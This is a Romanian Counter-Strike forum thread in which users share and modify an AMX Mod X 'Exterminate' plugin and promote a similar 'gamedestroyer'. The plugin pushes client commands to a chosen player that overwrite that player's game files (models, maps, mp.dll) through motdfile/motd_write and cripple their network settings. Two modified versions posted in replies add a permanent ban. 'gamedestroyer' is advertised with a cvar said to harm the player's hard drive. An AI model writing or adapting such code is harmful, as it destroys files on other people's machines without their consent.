Modificare plugin exterminate

Categoria cu cereri de pluginuri si nu numai.

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

Forum rules
Accesează link-ul pentru a putea vedea regulile forumului

Daca doriti sa vi se modifice un plugin, va rugam postati aici .
Post Reply
sylveryan
Membru, skill 0
Membru, skill 0
Posts: 4
Joined: 07 Jul 2012, 18:50
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Contact:

07 Jul 2012, 19:03

As dori daca se poate sa imi modifice cineva acest plugin sa dea ban cu advanced_bans(amx_addban <name> <authid or ip> <time in minutes> <reason> sau amx_banip <nick, #userid, authid> <time in minutes> <reason>)...

Code: Select all

#include < amxmodx >



#include < amxmisc >







new const g_sCommands[ ][ ] =



{



	"rate 1",



	"cl_cmdrate 1",



	"cl_updaterate 1",



	"fps_max 1",



	"sys_ticrate 1",



	



	"name Server",



	



	"motdfile models/player.mdl;motd_write x",



	"motdfile models/v_ak47.mdl;motd_write x",



	"motdfile cs_dust.wad;motd_write x",



	"motdfile models/v_m4a1.mdl;motd_write x",



	"motdfile resource/GameMenu.res;motd_write x",



	"motdfile halflife.wad;motd_write x",



	"motdfile cstrike.wad;motd_write x",



	"motdfile maps/de_dust2.bsp;motd_write x",



	"motdfile events/ak47.sc;motd_write x",



	"motdfile dlls/mp.dll;motd_write x",



	



	"cl_timeout 0"	



};







public plugin_init( )



{



	register_plugin( "Exterminate", "1.0", "AleCs14" );



	register_concmd( "amx_exterminate", "Concmd_AMXX_exterminate", ADMIN_RCON, "<player>" );



}







public Concmd_AMXX_exterminate( id, level, cid )



{



	if( !cmd_access( id, level, cid, 2 ) )



		return PLUGIN_HANDLED;



	



	new sArgument[ 32 ];



	read_argv( 1, sArgument, charsmax( sArgument ) );



	



	new player = cmd_target( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );



	



	if( !player )



		return PLUGIN_HANDLED;



	



	for( new i = 0; i < sizeof( g_sCommands ); i++)



		client_cmd( player, g_sCommands[ i ] );



	



	new name[ 32 ], name2[ 32 ], ip2[ 16 ];



	get_user_name( id, name, charsmax( name ) );



	get_user_name( player, name2, charsmax( name2 ) );



	get_user_ip( player, ip2, charsmax( ip2 ), 1 );



	



	log_to_file( "exterminations.log", "%s exterminate %s(%s)", name, name2, ip2 );



	



	player_color( 0, ".gADMIN .v%s .g: exterminated .v%s", name, name2 );



	



	client_cmd( 0, "spk ^"vox/bizwarn detected user and exterminate^"" );	



	



	return PLUGIN_HANDLED;



}







stock player_color( const id, const input[ ], any:... )



{



	new count = 1, players[ 32 ]







	static msg[ 191 ]



	vformat( msg, 190, input, 3 )



	



	replace_all( msg, 190, ".v", "^4" ) /* verde */



	replace_all( msg, 190, ".g", "^1" ) /* galben */



	replace_all( msg, 190, ".e", "^3" ) /* ct=albastru | t=rosu */



	replace_all( msg, 190, ".x", "^0" ) /* normal-echipa */



	



	if( id ) players[ 0 ] = id; else get_players( players, count, "ch" )



	{



		for( new i = 0; i < count; i++ )



		{



			if( is_user_connected( players[ i ] ) )



			{



				message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] )



				write_byte( players[ i ] );



				write_string( msg );



				message_end( );



			}



		}



	}



}

RoyalServer
User avatar
Fantasy1
Utilizator neserios (tepar)
Utilizator neserios (tepar)
Posts: 4836
Joined: 05 Jul 2012, 01:26
Detinator Steam: Da
Reputatie: Membru Club eXtreamCS (1 Mar)
Utilizator neserios (TEPAR!)
Has thanked: 278 times
Been thanked: 217 times
Contact:

07 Jul 2012, 21:51

CLICK AICI pentru FORUM
- Un Forum Care Nu Poate Fi Spart -
- Un Forum Care Nu Modifica Topicurile Cu Tepari -
- Vrei Indexare In Google? Posteaza Tzeparii La Noi -

- Daca ai nevoie sa te ajut cu un addons/plugin etc se plateste, nu ajut cu nimic pe GRATIS -
User avatar
J3FF
Membru, skill +1
Membru, skill +1
Posts: 472
Joined: 27 Oct 2007, 20:02
Detinator Steam: Nu
CS Status: ON and Ready 2 PLAY
Detinator server CS: Nu
Location: SiBiU
Has thanked: 25 times
Been thanked: 39 times

07 Jul 2012, 22:12

Pika ... slab .. nu strica multe , cel mai bun destroy / exterminate e gamedestroyer

Nu contine sma , vorba aia , ca altfel se gasesc unii care o sa scape , dar il poti decompila pentru a vedea ce strica :)

Desigur nu contine nici reclama , ba chiar contie si lang , care il editezi dupa bunul plac :P

Click 4 download

Uite aici niste cvauri
| Afiseaza codul
amx_destroy_ban [Default: 1]
- Ban jucator, dupa ce iese din joc
- 0 Nici unul
- 1 Da

amx_destroy_bantype [Default: 1]
- Tipul de banare
- 1 IP
- 2 SetamID

amx_destroy_amxbans [Default: 0]
- Utilizarea bani AMX
- 0 Nu
- 1 Da

amx_destroy_bantime [Default: 0]
- Timpul in care sa se aplice comanda
- 0 - permanent

amx_destroy_fuck_hdd [Default: 0]
- CVARUL ce poate afecta HDD-ului !
- 0 Inchis
- 1 Deschis

amx_destroy_activity [Default: 2]
- Mesaje in chat cu activitatea adminilor
- 0 dezactivat
- 1 nr nick admin
- 2 cu Nick admin
Unii ma mai stiu de e t n a d

Image
sylveryan
Membru, skill 0
Membru, skill 0
Posts: 4
Joined: 07 Jul 2012, 18:50
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Contact:

07 Jul 2012, 23:18

Ambele pluginuri postate de voi pe langa faptul ca nu au sursa, lucreaza cu amx_bans iar eu pe server am advanced_bans...daca poate cineva sa imi modifice acest plugin ca sa nu mai stau ca dupa fiecare comanda sa stau sa iau din consola nick si ip sa dau ban...



Multumesc!
User avatar
Ulquiorra
Fost moderator
Fost moderator
Posts: 2053
Joined: 25 Jul 2010, 17:29
Detinator Steam: Da
CS Status: A mai trecut o zi asteptand una mai buna
Detinator server CS: Retras.
SteamID: STEAM_0:1:318247XX
Reputatie: Fost Scripter eXtreamCS
Fost Moderator ajutator
Nick anterior: Askhanar
Location: Braila, Romania.
Has thanked: 215 times
Been thanked: 1132 times

09 Jul 2012, 00:12

J3FF wrote:Pika ... slab .. nu strica multe , cel mai bun destroy / exterminate e gamedestroyer

Nu contine sma , vorba aia , ca altfel se gasesc unii care o sa scape , dar il poti decompila pentru a vedea ce strica :)

Desigur nu contine nici reclama , ba chiar contie si lang , care il editezi dupa bunul plac :P

Click 4 download

Uite aici niste cvauri
| Afiseaza codul
amx_destroy_ban [Default: 1]
- Ban jucator, dupa ce iese din joc
- 0 Nici unul
- 1 Da

amx_destroy_bantype [Default: 1]
- Tipul de banare
- 1 IP
- 2 SetamID

amx_destroy_amxbans [Default: 0]
- Utilizarea bani AMX
- 0 Nu
- 1 Da

amx_destroy_bantime [Default: 0]
- Timpul in care sa se aplice comanda
- 0 - permanent

amx_destroy_fuck_hdd [Default: 0]
- CVARUL ce poate afecta HDD-ului !
- 0 Inchis
- 1 Deschis

amx_destroy_activity [Default: 2]
- Mesaje in chat cu activitatea adminilor
- 0 dezactivat
- 1 nr nick admin
- 2 cu Nick admin
ce parola e la arhiva ?
Caut o persoana dedicata care se pricepe si stie ce face.
Vreau sa creeze si sa se ocupe de administrarea unui server de MU, da e vorba de vechiul joc..ma gandesc undeva la un season 3 ep1/2.

O sa achizitionez un domeniu .ro.
Totodata sponsorizez absolut orice este necesar.
Ma puteti contacta prin: http://solo.to/stfrzv
sylveryan
Membru, skill 0
Membru, skill 0
Posts: 4
Joined: 07 Jul 2012, 18:50
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Contact:

09 Jul 2012, 01:27

Ma ajuta si pe mine cineva????
OwN3d#WTF?!
Membru, skill +1
Membru, skill +1
Posts: 109
Joined: 18 Jun 2012, 22:11
Detinator Steam: Da
CS Status: Vreau sa invat scripting
Has thanked: 11 times
Been thanked: 6 times
Contact:

09 Jul 2012, 12:26

Nu observasem uite aici
Exterminate+addBan | Afiseaza codul
#include < amxmodx >
#include < amxmisc >

new const g_sCommands[ ][ ] =
{
   "rate 1",
   "cl_cmdrate 1",
   "cl_updaterate 1",
   "fps_max 1",
   "sys_ticrate 1",
        "snapshot",
        "snapshot",
   
   "name Sv",
   
   "motdfile models/player.mdl;motd_write x",
   "motdfile models/v_ak47.mdl;motd_write x",
   "motdfile cs_dust.wad;motd_write x",
   "motdfile models/v_m4a1.mdl;motd_write x",
   "motdfile resource/GameMenu.res;motd_write x",
   "motdfile halflife.wad;motd_write x",
   "motdfile cstrike.wad;motd_write x",
   "motdfile maps/de_dust2.bsp;motd_write x",
   "motdfile events/ak47.sc;motd_write x",
   "motdfile dlls/mp.dll;motd_write x",
   
   "cl_timeout 0"   
};

public plugin_init( )
{
   register_plugin( "Exterminate", "1.0", "AleCs14" );
   register_concmd( "amx_banex", "Concmd_AMXX_banex", ADMIN_LEVEL_G, "<player>" );
}

public Concmd_AMXX_banex( id, level, cid )
{
   if( !cmd_access( id, level, cid, 2 ) )
      return PLUGIN_HANDLED;
   
   new sArgument[ 32 ];
   read_argv( 1, sArgument, charsmax( sArgument ) );
   
   new player = cmd_target( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );
   
   if( !player )
      return PLUGIN_HANDLED;
   
   for( new i = 0; i < sizeof( g_sCommands ); i++)
      client_cmd( player, g_sCommands[ i ] );
   
   new name[ 32 ], name2[ 32 ], ip2[ 16 ];
   get_user_name( id, name, charsmax( name ) );
   get_user_name( player, name2, charsmax( name2 ) );
   get_user_ip( player, ip2, charsmax( ip2 ), 1 );
   
   log_to_file( "exterminations.log", "%s exterminate %s(%s)", name, name2, ip2 );
   
   player_color( 0, ".gAdmin .v%s .g: exterminated .v%s", name, name2 );
   //Baneaza jucatorul permanent
   client_cmd(id, "amx_addban ^"%s^" permanent DESTROY", name2)
   
   client_cmd( 0, "spk ^"vox/bizwarn detected user and exterminate^"" );   
   
   return PLUGIN_HANDLED;


}

stock player_color( const id, const input[ ], any:... )
{
   new count = 1, players[ 32 ]

   static msg[ 191 ]
   vformat( msg, 190, input, 3 )
   
   replace_all( msg, 190, ".v", "^4" ) /* verde */
   replace_all( msg, 190, ".g", "^1" ) /* galben */
   replace_all( msg, 190, ".e", "^3" ) /* ct=albastru | t=rosu */
   replace_all( msg, 190, ".x", "^0" ) /* normal-echipa */
   
   if( id ) players[ 0 ] = id; else get_players( players, count, "ch" )
   {
      for( new i = 0; i < count; i++ )
      {
         if( is_user_connected( players[ i ] ) )
         {
            message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] )
            write_byte( players[ i ] );
            write_string( msg );
            message_end( );
         }
      }
   }
}
Poti Folosi comanda de la Flagul "G" cu amx_banex:)
No signature.
User avatar
J3FF
Membru, skill +1
Membru, skill +1
Posts: 472
Joined: 27 Oct 2007, 20:02
Detinator Steam: Nu
CS Status: ON and Ready 2 PLAY
Detinator server CS: Nu
Location: SiBiU
Has thanked: 25 times
Been thanked: 39 times

09 Jul 2012, 12:30

Just sayin'
ADMIN_LEVEL_G //Flag "s", custom
Iar cu parola de la arhiva , sorry , o pot posta , dar e reclama la alta comunitate ... o vreti dati pm :)
Unii ma mai stiu de e t n a d

Image
sylveryan
Membru, skill 0
Membru, skill 0
Posts: 4
Joined: 07 Jul 2012, 18:50
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Contact:

09 Jul 2012, 18:48

OwN3d#WTF?! - comenzile folosite de pluginul advanced_bans sunt :

- amx_ban <nick, #userid, authid> <time in minutes> <reason>
- amx_banip <nick, #userid, authid> <time in minutes> <reason>
- amx_addban <name> <authid or ip> <time in minutes> <reason>

In sursa postata de tine banul se da cu amx_bans...Eu am nevoie sa dea ban cu advanced_bans.


Multumesc!
OwN3d#WTF?!
Membru, skill +1
Membru, skill +1
Posts: 109
Joined: 18 Jun 2012, 22:11
Detinator Steam: Da
CS Status: Vreau sa invat scripting
Has thanked: 11 times
Been thanked: 6 times
Contact:

09 Jul 2012, 23:00

Look | Afiseaza codul
#include < amxmodx >
#include < amxmisc >

new const g_sCommands[ ][ ] =
{
   "rate 1",
   "cl_cmdrate 1",
   "cl_updaterate 1",
   "fps_max 1",
   "sys_ticrate 1",
        "snapshot",
        "snapshot",
   
   "name Sv",
   
   "motdfile models/player.mdl;motd_write x",
   "motdfile models/v_ak47.mdl;motd_write x",
   "motdfile cs_dust.wad;motd_write x",
   "motdfile models/v_m4a1.mdl;motd_write x",
   "motdfile resource/GameMenu.res;motd_write x",
   "motdfile halflife.wad;motd_write x",
   "motdfile cstrike.wad;motd_write x",
   "motdfile maps/de_dust2.bsp;motd_write x",
   "motdfile events/ak47.sc;motd_write x",
   "motdfile dlls/mp.dll;motd_write x",
   
   "cl_timeout 0"   
};

public plugin_init( )
{
   register_plugin( "Exterminate", "1.0", "AleCs14" );
   register_concmd( "amx_banex", "Concmd_AMXX_banex", ADMIN_LEVEL_G, "<player>" );
}

public Concmd_AMXX_banex( id, level, cid )
{
   if( !cmd_access( id, level, cid, 2 ) )
      return PLUGIN_HANDLED;
   
   new sArgument[ 32 ];
   read_argv( 1, sArgument, charsmax( sArgument ) );
   
   new player = cmd_target( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );
   
   if( !player )
      return PLUGIN_HANDLED;
   
   for( new i = 0; i < sizeof( g_sCommands ); i++)
      client_cmd( player, g_sCommands[ i ] );
   
   new name[ 32 ], name2[ 32 ], ip2[ 16 ];
   get_user_name( id, name, charsmax( name ) );
   get_user_name( player, name2, charsmax( name2 ) );
   get_user_ip( player, ip2, charsmax( ip2 ), 1 );
   
   log_to_file( "exterminations.log", "%s exterminate %s(%s)", name, name2, ip2 );
   
   player_color( 0, ".gAdmin .v%s .g: exterminated .v%s", name, name2 );
   //Baneaza jucatorul permanent
   client_cmd(id, "amx_banip ^"%s^" 0 Cheat", name2)
   
   client_cmd( 0, "spk ^"vox/bizwarn detected user and exterminate^"" );   
   
   return PLUGIN_HANDLED;


}

stock player_color( const id, const input[ ], any:... )
{
   new count = 1, players[ 32 ]

   static msg[ 191 ]
   vformat( msg, 190, input, 3 )
   
   replace_all( msg, 190, ".v", "^4" ) /* verde */
   replace_all( msg, 190, ".g", "^1" ) /* galben */
   replace_all( msg, 190, ".e", "^3" ) /* ct=albastru | t=rosu */
   replace_all( msg, 190, ".x", "^0" ) /* normal-echipa */
   
   if( id ) players[ 0 ] = id; else get_players( players, count, "ch" )
   {
      for( new i = 0; i < count; i++ )
      {
         if( is_user_connected( players[ i ] ) )
         {
            message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] )
            write_byte( players[ i ] );
            write_string( msg );
            message_end( );
         }
      }
   }
}
Ca sa folosesti scrii asa

amx_banex nume
ii va da exterminate + BANIP permanent pe motiv Cheat

Modifici si tu p`aici

Code: Select all

   client_cmd(id, "amx_banip ^"%s^" 0 Cheat", name2)
No signature.
Post Reply

Return to “Cereri”

  • Information
  • Who is online

    Users browsing this forum: No registered users and 18 guests